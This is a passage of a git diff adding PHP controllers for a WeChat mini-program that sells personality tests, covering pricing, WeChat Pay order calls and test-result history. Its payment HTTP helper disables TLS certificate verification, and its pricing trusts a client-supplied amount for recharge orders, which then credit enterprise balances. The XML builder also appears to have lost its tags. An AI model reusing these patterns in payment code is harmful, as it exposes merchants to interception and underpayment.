$payload['user_id'] ?? $payload['userId'] ?? null, + 'userId' => $payload['user_id'] ?? $payload['userId'] ?? null, + ]; + } + + /** + * 根据用户最近一次测试记录推断企业ID(若存在) + */ + protected function resolveEnterpriseId(int $userId): ?int + { + if ($userId <= 0) { + return null; + } + + $row = Db::name('wechat_users')->where('id', $userId)->field('enterpriseId')->find(); + if (empty($row['enterpriseId'])) { + return null; + } + return (int) $row['enterpriseId']; + } + + /** + * 企业四项测试支付成功后,将订单金额计入企业余额。 + * 使用 finance_records + orderId 做幂等,避免 notify/query 重复入账。 + */ + protected function creditEnterpriseBalanceForOrder(array $order, int $amountFen, int $now): void + { + $enterpriseId = (int) ($order['enterpriseId'] ?? 0); + $productType = (string) ($order['productType'] ?? ''); + $orderDbId = (int) ($order['id'] ?? 0); + + if ($enterpriseId <= 0 || $orderDbId <= 0 || $amountFen <= 0) { + return; + } + + if (!in_array($productType, ['face', 'mbti', 'disc', 'pdp', 'resume', 'recharge'], true)) { + return; + } + + $exists = Db::name('finance_records') + ->where('enterpriseId', $enterpriseId) + ->where('orderId', $orderDbId) + ->where('type', 'recharge') + ->find(); + if ($exists) { + return; + } + + Db::startTrans(); + try { + $enterprise = Db::name('enterprises') + ->where('id', $enterpriseId) + ->field('id, name, balance') + ->lock(true) + ->find(); + if (!$enterprise) { + Db::rollback(); + return; + } + + $beforeFen = (int) ($enterprise['balance'] ?? 0); + $afterFen = $beforeFen + $amountFen; + + Db::name('enterprises') + ->where('id', $enterpriseId) + ->update([ + 'balance' => $afterFen, + 'updatedAt' => $now, + ]); + + Db::name('finance_records')->insert([ + 'enterpriseId' => $enterpriseId, + 'type' => 'recharge', + 'amount' => $amountFen, + 'balanceBefore' => $beforeFen, + 'balanceAfter' => $afterFen, + 'description' => $productType === 'recharge' + ? '企业余额充值' + : ('企业测试收入:' . strtoupper($productType)), + 'orderId' => $orderDbId, + 'createdAt' => $now, + ]); + + Db::commit(); + } catch (\Throwable $e) { + Db::rollback(); + } + } + + /** + * 计算订单金额(分)和定价类型 + * 定价配置中单价为「元」时,在此处乘以 100 转为分;前端传入的 requestAmountFen 已是分。 + * + * @param string $productType 产品类型 + * @param int $quantity 购买数量 + * @param int $requestAmountFen 前端传入金额(分),部分类型作为兜底 + * @param array|null $user 当前用户信息 + * @param int|null $enterpriseId 推断出的企业ID + * @param string $deepProductId 深度服务套餐ID/产品Key(deep-pricing.categories.id/productKey) + * @return array [amountFen, pricingType] + */ + protected function calculateAmount( + string $productType, + int $quantity, + int $requestAmountFen, + ?array $user, + ?int $enterpriseId, + string $deepProductId = '' + ): array { + $pricingType = 'personal'; + $pricingEnterpriseId = null; // 定价用企业 ID(个人测试但有归属企业时也传入) + + if ($user && ($user['source'] ?? '') === 'wechat') { + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + if ($userId > 0 && !empty($enterpriseId)) { + $pricingType = 'enterprise'; + $pricingEnterpriseId = $enterpriseId; + } elseif ($userId > 0 && empty($enterpriseId)) { + // 个人测试:查 wechat_users.enterpriseId,若有则使用企业专属个人定价 + $userEid = Db::name('wechat_users')->where('id', $userId)->value('enterpriseId'); + if (!empty($userEid)) { + $pricingEnterpriseId = (int) $userEid; + } + } + } + + $quantity = $quantity > 0 ? $quantity : 1; + + // 1)测试类产品:定价配置中为元,转为分(企业用户按企业ID取价) + $testProductTypes = ['face', 'mbti', 'disc', 'pdp', 'resume', 'report', 'team_analysis']; + if (in_array($productType, $testProductTypes, true)) { + $pricingConfig = PricingConfigModel::getByTypeAndEnterprise($pricingType, $pricingEnterpriseId ?? $enterpriseId); + $config = []; + if ($pricingConfig && !empty($pricingConfig->config)) { + $raw = $pricingConfig->config; + $config = is_array($raw) ? $raw : (array) $raw; + } + + $keyMap = ['team_analysis' => 'teamAnalysis']; + $key = $keyMap[$productType] ?? $productType; + $unitPriceYuan = isset($config[$key]) ? (float) $config[$key] : 0.0; + $amountFen = (int) round($unitPriceYuan * 100 * $quantity); + return [$amountFen, $pricingType]; + } + + // 2)深度服务:定价配置为元,转为分 + // 与 AppConfig::deepPricing 使用同一套配置: + // - 个人版:type=deep_personal,config.categories[].price + // - 企业版:type=deep_enterprise,config.categories[].price + if (in_array($productType, ['deep_personal', 'deep_team'], true)) { + $type = $productType === 'deep_team' ? 'deep_enterprise' : 'deep_personal'; + $configModel = PricingConfigModel::where('type', $type)->whereNull('enterpriseId')->find(); + $unitPriceYuan = 0.0; + + if ($configModel && !empty($configModel->config)) { + $raw = $configModel->config; + $data = is_array($raw) ? $raw : (array) $raw; + $categories = isset($data['categories']) && is_array($data['categories']) ? $data['categories'] : []; + + if (!empty($categories)) { + // 若传入 deepProductId,则优先根据 id 或 productKey 精确匹配对应套餐 + if ($deepProductId !== '') { + foreach ($categories as $cat) { + $cid = (string) ($cat['id'] ?? ''); + $ckey = (string) ($cat['productKey'] ?? ''); + if ($deepProductId === $cid || $deepProductId === $ckey) { + $unitPriceYuan = isset($cat['price']) ? (float) $cat['price'] : 0.0; + break; + } + } + } + // 未指定或未匹配到时,回退到第一项价格 + if ($unitPriceYuan <= 0.0) { + $first = $categories[0]; + $unitPriceYuan = isset($first['price']) ? (float) $first['price'] : 0.0; + } + } + } + + // 兼容旧版 deep 配置:若 categories 为空,则回退到 type=deep 的 personal/team 字段 + if ($unitPriceYuan <= 0.0) { + $deepModel = PricingConfigModel::getByTypeAndEnterprise('deep', null); + if ($deepModel && !empty($deepModel->config)) { + $rawDeep = $deepModel->config; + $deepConfig = is_array($rawDeep) ? $rawDeep : (array) $rawDeep; + $key = $productType === 'deep_team' ? 'team' : 'personal'; + if (isset($deepConfig[$key])) { + $unitPriceYuan = (float) $deepConfig[$key]; + } + } + } + + $amountFen = (int) round($unitPriceYuan * 100 * $quantity); + return [$amountFen, $pricingType]; + } + + // 3)充值 / 4)VIP 等 / 5)未知:直接使用前端传入的金额(分) + $amountFen = $requestAmountFen > 0 ? $requestAmountFen : 0; + return [$amountFen, $pricingType]; + } + + /** + * 调用微信 V2:根据商户订单号查询订单(JSAPI/小程序支付) + * 文档:https://pay.weixin.qq.com/doc/v2/merchant/4011941128 + */ + protected function queryWechatOrderByOutTradeNo(string $outTradeNo): array + { + $appid = env('WECHAT_APPID', ''); + $mchid = env('MCH_ID', ''); + $apiKey = env('API_KEY', ''); + + if (!$appid || !$mchid || !$apiKey) { + return [ + 'success' => false, + 'message' => '微信支付 V2 查询配置缺失,请检查 WECHAT_APPID / MCH_ID / API_KEY', + ]; + } + + $url = 'https://api.mch.weixin.qq.com/pay/orderquery'; + + $params = [ + 'appid' => $appid, + 'mch_id' => $mchid, + 'nonce_str' => md5(uniqid('orderquery_', true)), + 'out_trade_no' => $outTradeNo, + ]; + $params['sign'] = $this->buildWechatSign($params, $apiKey); + + $xml = $this->arrayToXml($params); + $response = $this->postXml($url, $xml, 10); + if ($response === false) { + return ['success' => false, 'message' => '调用微信 V2 查询接口失败']; + } + + $data = $this->xmlToArray($response); + if (!is_array($data) || ($data['return_code'] ?? '') !== 'SUCCESS') { + $msg = $data['return_msg'] ?? '微信 V2 返回失败'; + return ['success' => false, 'message' => $msg, 'raw' => $data]; + } + + if (($data['result_code'] ?? '') !== 'SUCCESS') { + $err = $data['err_code_des'] ?? $data['err_code'] ?? '微信 V2 查询失败'; + return ['success' => false, 'message' => $err, 'raw' => $data]; + } + + // V2 返回字段:trade_state / trade_state_desc / total_fee / transaction_id / time_end 等 + return ['success' => true, 'data' => $data]; + } + + /** + * 将微信 trade_state 映射为本地订单状态 + */ + protected function mapTradeStateToStatus(string $tradeState): string + { + $tradeState = strtoupper($tradeState); + switch ($tradeState) { + case 'SUCCESS': + return 'paid'; + case 'REFUND': + return 'refunded'; + case 'NOTPAY': + case 'USERPAYING': + return 'pending'; + case 'CLOSED': + case 'REVOKED': + return 'cancelled'; + case 'PAYERROR': + return 'failed'; + default: + return 'pending'; + } + } + + /** + * 调用微信统一下单接口(JSAPI) + * 文档:https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=9_1 + */ + protected function createWechatUnifiedOrder( + array $config, + string $orderNo, + int $amountFen, + string $body, + string $openId + ): array { + $url = 'https://api.mch.weixin.qq.com/pay/unifiedorder'; + + $params = [ + 'appid' => $config['appid'], + 'mch_id' => $config['mch_id'], + 'nonce_str' => md5(uniqid('wxpay_unified_', true)), + 'body' => mb_substr($body, 0, 40), + 'out_trade_no' => $orderNo, + 'total_fee' => $amountFen, + 'spbill_create_ip' => $this->request ? $this->request->ip() : '127.0.0.1', + 'notify_url' => $config['notify_url'], + 'trade_type' => 'JSAPI', + 'openid' => $openId, + ]; + + $params['sign'] = $this->buildWechatSign($params, $config['api_key']); + + $xml = $this->arrayToXml($params); + $response = $this->postXml($url, $xml, 30); + + if ($response === false) { + return ['success' => false, 'message' => '请求微信支付接口失败']; + } + + $data = $this->xmlToArray($response); + if (!is_array($data)) { + return ['success' => false, 'message' => '解析微信支付返回失败']; + } + + if (($data['return_code'] ?? '') !== 'SUCCESS') { + return ['success' => false, 'message' => ($data['return_msg'] ?? '微信返回失败')]; + } + + if (($data['result_code'] ?? '') !== 'SUCCESS') { + $err = ($data['err_code_des'] ?? $data['err_code'] ?? '微信下单失败'); + return ['success' => false, 'message' => $err]; + } + + return [ + 'success' => true, + 'prepay_id' => $data['prepay_id'] ?? '', + 'raw' => $data, + ]; + } + + /** + * 构造微信支付签名(MD5,参数 ASCII 排序后拼接 &key=API_KEY) + */ + protected function buildWechatSign(array $params, string $apiKey): string + { + ksort($params); + $buff = []; + foreach ($params as $k => $v) { + if ($v === '' || $v === null || $k === 'sign') { + continue; + } + $buff[] = $k . '=' . $v; + } + $string = implode('&', $buff) . '&key=' . $apiKey; + return strtoupper(md5($string)); + } + + protected function arrayToXml(array $data): string + { + $xml = ''; + foreach ($data as $key => $val) { + if (is_numeric($val)) { + $xml .= "<{$key}>{$val}"; + } else { + $xml .= "<{$key}>"; + } + } + $xml .= ''; + return $xml; + } + + protected function xmlToArray(string $xml) + { + $data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOCDATA); + if ($data === false) { + return null; + } + return json_decode(json_encode($data), true); + } + + protected function postXml(string $url, string $xml, int $timeout = 30) + { + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_POST, 1); + curl_setopt($ch, CURLOPT_POSTFIELDS, $xml); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + $response = curl_exec($ch); + if ($response === false) { + curl_close($ch); + return false; + } + curl_close($ch); + return $response; + } + +} + diff --git a/api/app/controller/api/Test.php b/api/app/controller/api/Test.php new file mode 100644 index 0000000..6ffe534 --- /dev/null +++ b/api/app/controller/api/Test.php @@ -0,0 +1,625 @@ +request->user ?? null; + if (!$user || ($user['source'] ?? '') !== 'wechat') { + return error('未登录', 401); + } + + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + if ($userId <= 0) { + return error('未登录', 401); + } + + $type = Request::param('type', 'all'); // all|mbti|disc|pdp|face + $scope = Request::param('scope', 'all'); // all|personal|enterprise + $page = max(1, (int) Request::param('page', 1)); + $pageSize = (int) Request::param('pageSize', 0); + if ($pageSize <= 0) { + $pageSize = 500; + } + $pageSize = min(500, max(1, $pageSize)); + + $base = Db::name('test_results') + ->alias('tr') + ->leftJoin('wechat_users wu', 'tr.userId = wu.id') + ->leftJoin('enterprises e_tr', 'tr.enterpriseId = e_tr.id') + ->leftJoin('enterprises e_wu', 'wu.enterpriseId = e_wu.id') + ->where('tr.userId', $userId) + ->field('tr.*, e_tr.name as enterpriseName, wu.enterpriseId as bindEnterpriseId, e_wu.name as bindEnterpriseName') + ->order('tr.createdAt', 'desc'); + + if ($type !== 'all') { + if (in_array($type, ['face', 'ai'], true)) { + $base->whereIn('tr.testType', ['face', 'ai']); + } else { + $base->where('tr.testType', $type); + } + } + + if ($scope === 'personal') { + $base->whereNull('tr.enterpriseId'); + } elseif ($scope === 'enterprise') { + $base->whereNotNull('tr.enterpriseId'); + } + + $total = (clone $base)->count('tr.id'); + $rows = (clone $base)->page($page, $pageSize)->select()->toArray(); + + $list = []; + foreach ($rows as $row) { + $id = $row['id'] ?? 0; + $testType = $row['testType'] ?? ''; + $createdAt = $row['createdAt'] ?? null; + $timeLabel = $createdAt ? date('Y-m-d H:i', $createdAt) : '未知时间'; + // enterpriseId 语义:仅代表“该次测试是否属于企业测试/企业分享链接” + // 个人测试时 enterpriseId 可能为空,但用户依然可能在 wechat_users.enterpriseId 有归属企业 + $enterpriseName = ''; + if (isset($row['enterpriseId']) && (int) $row['enterpriseId'] > 0) { + $enterpriseName = trim((string) ($row['enterpriseName'] ?? '')); + } elseif (isset($row['bindEnterpriseId']) && (int) $row['bindEnterpriseId'] > 0) { + $enterpriseName = trim((string) ($row['bindEnterpriseName'] ?? '')); + } + $requiresPayment = (int) ($row['requiresPayment'] ?? 0); + $isPaid = (int) ($row['isPaid'] ?? 0); + $orderId = isset($row['orderId']) ? (int) $row['orderId'] : null; + + $raw = $row['resultData'] ?? ($row['result'] ?? null); + $data = null; + if ($raw !== null && $raw !== '') { + $decoded = json_decode($raw, true); + $data = is_array($decoded) ? $decoded : $raw; + } + if ($requiresPayment && !$isPaid && $data !== null) { + $data = $this->filterResultToPartial($testType, $data); + } + + $paymentFields = [ + 'requiresPayment' => $requiresPayment, + 'isPaid' => $isPaid, + 'orderId' => $orderId, + 'enterpriseName' => $enterpriseName, + ]; + + // 映射为小程序 history 页需要的结构 + switch ($testType) { + case 'mbti': + $mbtiType = $data['mbtiType'] ?? $data['mbti'] ?? '未知'; + $list[] = array_merge([ + 'id' => $id, + 'type' => 'mbti', + 'key' => 'mbti_' . $id, + 'emoji' => '🧠', + 'typeName' => 'MBTI性格测试', + 'resultText'=> $mbtiType, + 'testTime' => $timeLabel, + 'data' => $data, + ], $paymentFields); + break; + case 'disc': + $discType = $data['dominantType'] ?? $data['disc'] ?? '未知'; + $list[] = array_merge([ + 'id' => $id, + 'type' => 'disc', + 'key' => 'disc_' . $id, + 'emoji' => '📊', + 'typeName' => 'DISC性格测试', + 'resultText'=> $discType . '型', + 'testTime' => $timeLabel, + 'data' => $data, + ], $paymentFields); + break; + case 'pdp': + $primary = $data['description']['type'] ?? $data['pdp'] ?? '未知'; + $emoji = $data['description']['emoji'] ?? '🦁'; + $list[] = array_merge([ + 'id' => $id, + 'type' => 'pdp', + 'key' => 'pdp_' . $id, + 'emoji' => $emoji, + 'typeName' => 'PDP行为偏好测试', + 'resultText'=> $primary, + 'testTime' => $timeLabel, + 'data' => $data, + ], $paymentFields); + break; + case 'face': + case 'ai': + $mbtiShort = ''; + if (is_array($data)) { + if (isset($data['mbti']['type'])) { + $mbtiShort = $data['mbti']['type']; + } elseif (isset($data['mbti'])) { + $mbtiShort = is_array($data['mbti']) ? ($data['mbti']['type'] ?? '') : $data['mbti']; + } + } + $list[] = array_merge([ + 'id' => $id, + 'type' => 'ai', + 'key' => 'ai_' . $id, + 'emoji' => '👁️', + 'typeName' => '面相分析', + 'resultText'=> $mbtiShort ?: '未知', + 'testTime' => $timeLabel, + 'data' => $data, + ], $paymentFields); + break; + case 'resume': + $summary = ''; + if (is_array($data) && !empty($data['content'])) { + $summary = mb_substr(strip_tags((string) $data['content']), 0, 20, 'UTF-8'); + if (mb_strlen((string) $data['content'], 'UTF-8') > 20) { + $summary .= '...'; + } + } + $list[] = array_merge([ + 'id' => $id, + 'type' => 'resume', + 'key' => 'resume_' . $id, + 'emoji' => '📋', + 'typeName' => '简历综合分析', + 'resultText'=> $summary ?: '简历综合分析', + 'testTime' => $timeLabel, + 'data' => $data, + ], $paymentFields); + break; + default: + break; + } + } + + return success([ + 'list' => $list, + 'total' => (int) $total, + 'page' => $page, + 'pageSize' => $pageSize, + 'hasMore' => ($page * $pageSize) < $total, + ]); + } + + /** + * 获取每种测试类型最新一条记录(用于小程序「我的」页) + * GET /api/test/recent + * 返回:{ records: { mbti, disc, pdp, ai }, totalCount } + */ + public function recent() + { + $user = $this->request->user ?? null; + if (!$user || ($user['source'] ?? '') !== 'wechat') { + return error('未登录', 401); + } + + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + if ($userId <= 0) { + return error('未登录', 401); + } + + $scope = Request::param('scope', 'all'); // all|personal|enterprise + + $records = []; + + // 优化:一次性查询所有需要的最新记录,减少数据库连接和查询次数 + $query = Db::name('test_results') + ->where('userId', $userId); + + if ($scope === 'personal') { + $query->whereNull('enterpriseId'); + } elseif ($scope === 'enterprise') { + $query->whereNotNull('enterpriseId'); + } + + // 使用子查询或 Union 可能更复杂,这里采用分组取最新的优化思路 + // 但 ThinkPHP 中最简单有效的优化是先查出所有类型,再处理 + $allRows = $query->order('createdAt', 'desc')->select()->toArray(); + + $foundTypes = []; + $totalCount = count($allRows); + + foreach ($allRows as $row) { + $type = $row['testType']; + // face 和 ai 视为同一种类型 + $effectiveType = in_array($type, ['face', 'ai']) ? 'ai' : $type; + + if (!isset($foundTypes[$effectiveType]) && in_array($effectiveType, ['mbti', 'disc', 'pdp', 'ai'])) { + $records[$effectiveType] = $this->_formatRecentRow($row); + $foundTypes[$effectiveType] = true; + } + + // 如果四个类型都找到了,且不需要总数(或者已经有了),可以提前结束 + if (count($foundTypes) >= 4) { + // 如果不需要精确的总数统计,这里可以 break + // 但为了保持接口兼容性,我们继续循环或者已经拿到了 count + } + } + + return success([ + 'records' => $records, + 'totalCount' => (int) $totalCount, + ]); + } + + /** + * 格式化单条记录为 recent 接口返回结构 + */ + protected function _formatRecentRow(array $row): array + { + $testType = $row['testType'] ?? ''; + $createdAt = $row['createdAt'] ?? null; + $raw = $row['resultData'] ?? ($row['result'] ?? null); + $data = []; + if ($raw !== null && $raw !== '') { + $decoded = json_decode($raw, true); + $data = is_array($decoded) ? $decoded : []; + } + + $resultText = ''; + $emoji = ''; + $typeName = ''; + + switch ($testType) { + case 'mbti': + $resultText = $data['mbtiType'] ?? $data['mbti'] ?? '未知'; + $emoji = '🧠'; + $typeName = 'MBTI性格'; + break; + case 'disc': + $dominantType = $data['dominantType'] ?? $data['disc'] ?? '未知'; + $resultText = $dominantType . '型'; + $emoji = '📊'; + $typeName = 'DISC测评'; + break; + case 'pdp': + $resultText = $data['description']['type'] ?? $data['pdp'] ?? '未知'; + $emoji = $data['description']['emoji'] ?? '🦁'; + $typeName = 'PDP行为'; + break; + case 'face': + case 'ai': + $mbtiShort = ''; + if (isset($data['mbti']['type'])) { + $mbtiShort = $data['mbti']['type']; + } elseif (isset($data['mbti']) && !is_array($data['mbti'])) { + $mbtiShort = (string) $data['mbti']; + } + $resultText = $mbtiShort ?: '面相分析'; + $emoji = '👁️'; + $typeName = '面相分析'; + break; + } + + return [ + 'id' => (int) $row['id'], + 'testType' => ($testType === 'face') ? 'ai' : $testType, + 'emoji' => $emoji, + 'typeName' => $typeName, + 'resultText' => $resultText, + 'testTime' => $createdAt ? date('Y-m-d', (int) $createdAt) : '', + 'isPaid' => (int) ($row['isPaid'] ?? 0), + 'requiresPayment' => (int) ($row['requiresPayment'] ?? 0), + ]; + } + + /** + * 单条测试结果详情(按ID读取数据库) + * GET /api/test/detail?id=123 + */ + public function detail() + { + $user = $this->request->user ?? null; + if (!$user || ($user['source'] ?? '') !== 'wechat') { + return error('未登录', 401); + } + + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + if ($userId <= 0) { + return error('未登录', 401); + } + + $id = (int) Request::param('id', 0); + if ($id <= 0) { + return error('缺少ID', 400); + } + + $row = Db::name('test_results') + ->where('id', $id) + ->where('userId', $userId) + ->find(); + + if (!$row) { + return error('记录不存在', 404); + } + + $raw = $row['resultData'] ?? ($row['result'] ?? null); + $data = null; + if ($raw !== null && $raw !== '') { + $decoded = json_decode($raw, true); + $data = is_array($decoded) ? $decoded : $raw; + } + $requiresPayment = (int) ($row['requiresPayment'] ?? 0); + $isPaid = (int) ($row['isPaid'] ?? 0); + $paidAmount = isset($row['paidAmount']) ? (int) $row['paidAmount'] : 0; + $testType = $row['testType'] ?? ''; + // 仅当需要付款且未付款且金额>0 时才脱敏;系统设置需付款但金额为0 则直接可查看 + $needPaymentToUnlock = $requiresPayment && !$isPaid && $paidAmount > 0; + if ($needPaymentToUnlock && $data !== null) { + $data = $this->filterResultToPartial($testType, $data); + } + + return success([ + 'id' => $row['id'], + 'testType' => $testType, + 'createdAt' => $row['createdAt'], + 'data' => $data, + 'requiresPayment' => $requiresPayment, + 'isPaid' => $isPaid, + 'paidAmount' => $paidAmount, + 'amountYuan' => $paidAmount > 0 ? round($paidAmount / 100, 2) : 0, + 'needPaymentToUnlock'=> $needPaymentToUnlock, + 'orderId' => isset($row['orderId']) ? (int) $row['orderId'] : null, + 'paidAt' => isset($row['paidAt']) ? (int) $row['paidAt'] : null, + ]); + } + + /** + * 提交测试结果(MBTI/DISC/PDP 等问卷) + * POST /api/test/submit + * body: { testType, answers, result, testDuration, timestamp } + * - userId 从 token 中解析,保证与当前登录微信用户一致 + * - 结果统一写入 test_results 表,前端历史/详情接口复用现有逻辑 + */ + public function submit() + { + $user = $this->request->user ?? null; + if (!$user || ($user['source'] ?? '') !== 'wechat') { + return error('未登录', 401); + } + + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + if ($userId <= 0) { + return error('未登录', 401); + } + + $input = Request::post(); + $testType = $input['testType'] ?? ''; + $result = $input['result'] ?? null; + $answers = $input['answers'] ?? []; + $duration = isset($input['testDuration']) ? (int) $input['testDuration'] : 0; + // 企业分享链接会传 enterpriseId;个人分享不传,稍后从 wechat_users 回落 + $enterpriseId = isset($input['enterpriseId']) ? (int) $input['enterpriseId'] : null; + if ($enterpriseId !== null && $enterpriseId <= 0) { + $enterpriseId = null; + } + // 标记来源:只有"请求体明确传入"时才更新 wechat_users.enterpriseId + $enterpriseFromRequest = $enterpriseId !== null; + + if (!$testType || $result === null) { + return error('缺少必要参数', 400); + } + + // 仅允许已知类型,避免脏数据 + if (!in_array($testType, ['mbti', 'disc', 'pdp', 'face', 'ai'], true)) { + return error('不支持的测试类型', 400); + } + + // 结果结构中附带 answers / testDuration,方便后续分析,同时保持历史结构兼容 + if (is_array($result)) { + if (!isset($result['answers']) && is_array($answers)) { + $result['answers'] = $answers; + } + if (!isset($result['testDuration']) && $duration > 0) { + $result['testDuration'] = $duration; + } + } + + try { + $now = time(); + // 三个变量各司其职: + // $enterpriseId —— 仅企业测试(请求体传入)才非 null,决定走 admin_enterprise 定价 + // $pricingEnterpriseId —— 个人测试时从 wechat_users 取,走 admin_personal + eid 定价 + // $writeEnterpriseId —— 写入 test_results.enterpriseId(企业测试 or 绑定企业都记录) + $pricingEnterpriseId = $enterpriseId; + $writeEnterpriseId = $enterpriseId; + if ($enterpriseId === null) { + $boundEid = Db::name('wechat_users')->where('id', $userId)->value('enterpriseId'); + if (!empty($boundEid)) { + $pricingEnterpriseId = (int) $boundEid; // admin_personal + eid + $writeEnterpriseId = (int) $boundEid; // 历史记录展示企业名 + } + } + $requiresPayment = $this->getRequiresPaymentByTestType($testType, $enterpriseId, $pricingEnterpriseId); + $standardAmountFen = $requiresPayment ? $this->getStandardAmountFenByTestType($testType, $enterpriseId, $pricingEnterpriseId) : 0; + $id = Db::name('test_results')->insertGetId([ + 'userId' => $userId, + 'enterpriseId' => $writeEnterpriseId, + 'testScope' => $enterpriseId !== null ? 'enterprise' : 'personal', + 'testType' => $testType, + 'resultData' => is_string($result) ? $result : json_encode($result, JSON_UNESCAPED_UNICODE), + 'score' => null, + 'orderId' => null, + 'requiresPayment' => $requiresPayment, + 'isPaid' => 0, + 'paidAmount' => $standardAmountFen > 0 ? $standardAmountFen : null, + 'paidAt' => null, + 'createdAt' => $now, + 'updatedAt' => $now, + ]); + + if ($id > 0) { + UserProfileModel::recordTest($userId, $testType, $id, $writeEnterpriseId, $now); + // 仅当 enterpriseId 来自请求体(企业分享链接)时才更新绑定关系 + if ($enterpriseFromRequest && $enterpriseId !== null && $enterpriseId > 0) { + Db::name('wechat_users')->where('id', $userId)->update([ + 'enterpriseId' => $enterpriseId, + 'updatedAt' => $now, + ]); + } + // 测试完成佣金结算(无需付款,异步不影响主流程) + try { + \app\controller\api\Distribution::settleTestCommission($id, $userId, $testType); + } catch (\Throwable $e) { + // 佣金结算失败不阻断测试保存 + } + } + } catch (\Throwable $e) { + return error('保存测试结果失败', 500); + } + + return success(null, '提交成功'); + } + + /** + * 根据定价配置返回该测试类型是否需要付费才显示完整报告 + * + * @param string $testType face|mbti|disc|pdp + * @param int|null $enterpriseId 本次测试的企业 ID(NULL=个人测试) + * @param int|null $pricingEnterpriseId 定价用企业 ID(个人测试时也可能有归属企业) + * @return int 0 或 1 + */ + protected function getRequiresPaymentByTestType(string $testType, ?int $enterpriseId = null, ?int $pricingEnterpriseId = null): int + { + $pricingConfig = $this->resolvePricingConfig($enterpriseId, $pricingEnterpriseId); + if (!$pricingConfig || empty($pricingConfig->config)) { + return 0; + } + $pricing = is_array($pricingConfig->config) ? $pricingConfig->config : (array) $pricingConfig->config; + $key = $testType === 'team_analysis' ? 'teamAnalysis' : $testType; + return isset($pricing[$key]) && (float) $pricing[$key] > 0 ? 1 : 0; + } + + /** + * 获取某测试类型当前定价金额(分),用于写入 test_results.paidAmount + * + * @param int|null $enterpriseId 本次测试企业 ID + * @param int|null $pricingEnterpriseId 定价用企业 ID + */ + protected function getStandardAmountFenByTestType(string $testType, ?int $enterpriseId = null, ?int $pricingEnterpriseId = null): int + { + $pricingConfig = $this->resolvePricingConfig($enterpriseId, $pricingEnterpriseId); + if (!$pricingConfig || empty($pricingConfig->config)) { + return 0; + } + $pricing = is_array($pricingConfig->config) ? $pricingConfig->config : (array) $pricingConfig->config; + $key = $testType === 'team_analysis' ? 'teamAnalysis' : $testType; + if (!isset($pricing[$key])) return 0; + $yuan = (float) $pricing[$key]; + return $yuan > 0 ? (int) round($yuan * 100) : 0; + } + + /** + * 解析定价配置: + * - 企业测试(enterpriseId 非空)→ 企业版定价(admin_enterprise 优先) + * - 个人测试但有归属企业(pricingEnterpriseId 非空)→ 企业专属个人定价(admin_personal 优先) + * - 纯个人测试 → 全局个人定价 + */ + private function resolvePricingConfig(?int $enterpriseId, ?int $pricingEnterpriseId): ?PricingConfigModel + { + if ($enterpriseId !== null && $enterpriseId > 0) { + return PricingConfigModel::getByTypeAndEnterprise('enterprise', $enterpriseId); + } + if ($pricingEnterpriseId !== null && $pricingEnterpriseId > 0) { + return PricingConfigModel::getByTypeAndEnterprise('personal', $pricingEnterpriseId); + } + return PricingConfigModel::getByTypeAndEnterprise('personal', null); + } + + /** + * 未付费时只返回部分数据(完整数据需付费解锁) + * @param string $testType + * @param array|null $data 原始 resultData + * @return array|null 脱敏后的数据 + */ + protected function filterResultToPartial(string $testType, $data) + { + if (!is_array($data)) { + return $data; + } + if ($testType === 'face' || $testType === 'ai') { + $out = $data; + $out['faceAnalysis'] = null; + $out['boneAnalysis'] = null; + return $out; + } + if ($testType === 'mbti') { + return [ + 'mbtiType' => $data['mbtiType'] ?? $data['mbti'] ?? '', + 'locked' => true, + ]; + } + if ($testType === 'disc') { + return [ + 'dominantType' => $data['dominantType'] ?? $data['disc'] ?? '', + 'locked' => true, + ]; + } + if ($testType === 'pdp') { + return [ + 'description' => isset($data['description']) ? ['type' => $data['description']['type'] ?? '', 'emoji' => $data['description']['emoji'] ?? ''] : [], + 'locked' => true, + ]; + } + return $data; + } + + /** + * 获取当前用户最近的 MBTI / DISC / PDP 测试记录(暂不使用人脸/AI 结果),供简历综合分析使用 + * @param int $userId 微信用户 ID + * @param int|null $enterpriseId 当前企业ID(仅返回该企业下的记录;为空则不按企业过滤) + * @return array ['face' => row|null, 'mbti' => row|null, 'disc' => row|null, 'pdp' => row|null],row 含 id, testType, resultData, createdAt + */ + public static function getLatestResultsForResume(int $userId, ?int $enterpriseId = null): array + { + if ($userId <= 0) { + return ['face' => null, 'mbti' => null, 'disc' => null, 'pdp' => null]; + } + + $out = ['face' => null, 'mbti' => null, 'disc' => null, 'pdp' => null]; + + $base = Db::name('test_results')->where('userId', $userId); + if ($enterpriseId !== null && $enterpriseId > 0) { + $base = $base->where('enterpriseId', (int) $enterpriseId); + } + + // face/ai 暂不参与简历分析,保持为 null,避免写入上下文 + + // mbti + $out['mbti'] = (clone $base) + ->where('testType', 'mbti') + ->field('id, testType, resultData, createdAt') + ->order('createdAt', 'desc') + ->find(); + + // pdp + $out['pdp'] = (clone $base) + ->where('testType', 'pdp') + ->field('id, testType, resultData, createdAt') + ->order('createdAt', 'desc') + ->find(); + + // disc + $out['disc'] = (clone $base) + ->where('testType', 'disc') + ->field('id, testType, resultData, createdAt') + ->order('createdAt', 'desc') + ->find(); + + return $out; + } +} + diff --git a/api/app/controller/api/Upload.php b/api/app/controller/api/Upload.php new file mode 100644 index 0000000..4c5736a --- /dev/null +++ b/api/app/controller/api/Upload.php @@ -0,0 +1,11 @@ + Request::header('wechatpay-signature'), + 'wechatpay-timestamp' => Request::header('wechatpay-timestamp'), + 'wechatpay-nonce' => Request::header('wechatpay-nonce'), + 'wechatpay-serial' => Request::header('wechatpay-serial'), + ]; + + Log::info('[WechatTransferNotify] raw body: ' . $body); + + // 这里只做最小实现:直接解密 resource,按 out_bill_no 匹配提现记录 + try { + $data = json_decode($body, true) ?: []; + if (empty($data['resource'])) { + throw new \Exception('missing resource'); + } + + $service = new WechatTransferService(); + $resource = $data['resource']; + + // 复用文档中的解密逻辑 + $decrypted 